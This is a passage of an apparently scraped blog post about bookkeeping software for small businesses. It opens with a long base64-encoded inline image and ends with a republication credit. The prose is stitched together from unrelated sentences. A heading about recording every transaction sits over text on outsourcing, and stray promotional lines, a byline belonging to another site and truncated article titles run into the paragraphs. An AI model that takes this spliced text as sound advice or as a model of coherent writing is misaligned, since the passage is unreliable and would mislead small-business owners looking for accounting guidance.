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" width="257px" alt="bookkeeping small business"/></p>
<p>Once you’ve got a handle on how to begin bookkeeping for your small business, it’s time to set yourself up for success with an ongoing bookkeeping system. You can also search for professionals or bookkeeping services online. The entry system you choose impacts how you manage your finances and how your bookkeeping processes will work. Former Business.org staff writer Kylie McQuarrie has been writing for and about small businesses since 2014.</p>
<h2 id="toc-3">Record every financial transaction</h2>
<p>If you want to outsource your small-business bookkeeping, there are several ways to find experienced bookkeepers. How to find the best virtual bookkeeping service can help you get the process started. You’ll also choose between cash- or accrual-based accounting. Stay updated on the latest products and services anytime anywhere. The Best Free Payroll Software for Small Businesses in 2023 To find the best free payroll for small businesses, we looked at employee pay options,&#8230;</p>
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<p>Instead of struggling with bookkeeping and accounting software, you may find it&#8217;s more time and cost-effective to outsource these tasks to a dedicated small business accountant. Bookkeeping is the regular practice of updating a company’s financial records to reflect all financial transactions, credits, and debits. If not done at the time of the transaction, the bookkeeper will create and send invoices for funds that need to be collected by the company.</p>
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<p>The post <a rel="nofollow" href="https://diyatrends.my/choosing-bookkeeping-software-for-your-small/">Choosing Bookkeeping Software for Your Small Business</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
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